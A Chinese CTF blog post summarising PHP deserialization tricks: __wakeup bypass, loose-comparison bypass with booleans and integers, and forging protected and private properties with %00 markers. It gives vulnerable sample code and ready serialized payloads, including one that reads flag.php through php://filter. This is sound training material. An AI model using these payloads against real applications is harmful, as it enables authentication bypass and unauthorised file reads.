PHP反序列化的一些招式总结

由 Polze Li 发布

最近刷题我个人遇见的一些php反序列化的题型,都很有意思,也值得加深学习,可能说明的不详细不充分不清晰,有些点没点到,还请各位大佬多多指点qwq

weakup()绕过

php的特性,当序列化后对象的参数列表中成员个数和实际个数不符合时会绕过 __weakup();

如:p=O:6:“HaHaHa”:**2**:{s:5:“admin”;s:5:“admin”;s:6:“passwd”;s:4:“wllm”;}
一般做CTF题目时绕过的方法就是:先序列化字符串,然后使序列化后字符串中属性的个数大于真实对象中属性的个数,即可绕过__wakeup 。

则改为p=O:6:“HaHaHa”:**3**:{s:5:“admin”;s:5:“admin”;s:6:“passwd”;s:4:“wllm”;}

弱比较

在==弱比较中,可以用true来绕过,比如

<?php
show_source(__FILE__);
$username  = "this_is_secret"; 
$password  = "this_is_not_known_to_you"; 
include("flag.php");//here I changed those two 
$info = isset($_GET['info'])? $_GET['info']: "" ;
$data_unserialize = unserialize($info);
if ($data_unserialize['username']==$username&&$data_unserialize['password']==$password){
    echo $flag;
}else{
    echo "username or password error!";

}

在判断username和passwd时使用了==的弱比较,只要让username和passwd为true即可

则反序列化中username和passwd的值应该为b:1

?info=a:2:{s:8:"username";b:1;s:8:"password";b:1;}

还有一种弱比较,2=="2"。如

public function process() {
        if($this->op == "1") {
            $this->write();
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }
function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }

在这之中,process判断op=="2",而在__destruct中判断op==="2",我们要让op进入process那个op=="2"中,不受

__destruct中将2改为1,则我们要利用强比较和弱比较,我们应该反序列化数字2来绕过

如果是

O:11:"FileHandler":1:{s:2:"op";s:1:"2"}

则会调用__destruct

如果是

O:11:"FileHandler":1:{s:2:"op";i:2}

则不会调用到__destruct中的if判断,来达到实现process中read()

属性比较不严谨绕过

属性序列化可以参考本文章
【PHP】反序列化漏洞(又名“PHP对象注入”)_对象注入 unserialize() 函数进行攻击-CSDN博客

PHP 7.0以上的版本对属性的类型不严格

在定义的protected属性中,如

class FileHandler {
    protected $op;
    protected $filename;
    protected $content;
}

但是我们反序列化时可以用public属性来写入,相当于public的值赋给protected

protected反序列化后,会出现%00标记无法出现,要在’*‘两侧补上%00

O:11:"FileHandler":3:{s:5:"*op";s:1:"2";s:11:"*filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:10:"*content";N;}

然后改为public

O:11:"FileHandler":3:{s:2:"op";s:1:"2";s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}

private属性反序列化

例如

class Name {
    private $name="xiaoming";
    private $passwd="114514";
}

我们反序列化后为

O:4:"Name":2:{s:10:"Namename";s:8:"xiaoming";s:12:"Namepasswd";s:6:"114514";}

但是private格式要在变量名前添加标记%00(classname)%00

则我们最终payload是

O:4:"Name":2:{s:10:"%00Name%00name";s:8:"xiaoming";s:12:"%00Name%00passwd";s:6:"114514";}
版权所有:lzz0403的技术博客
文章标题:PHP反序列化的一些招式总结
除非注明,文章均为 lzz0403的技术博客 原创,请勿用于任何商业用途,禁止转载

1条评论

  1. w36
    w36 · 2025-01-01 11:07
    tql

发表评论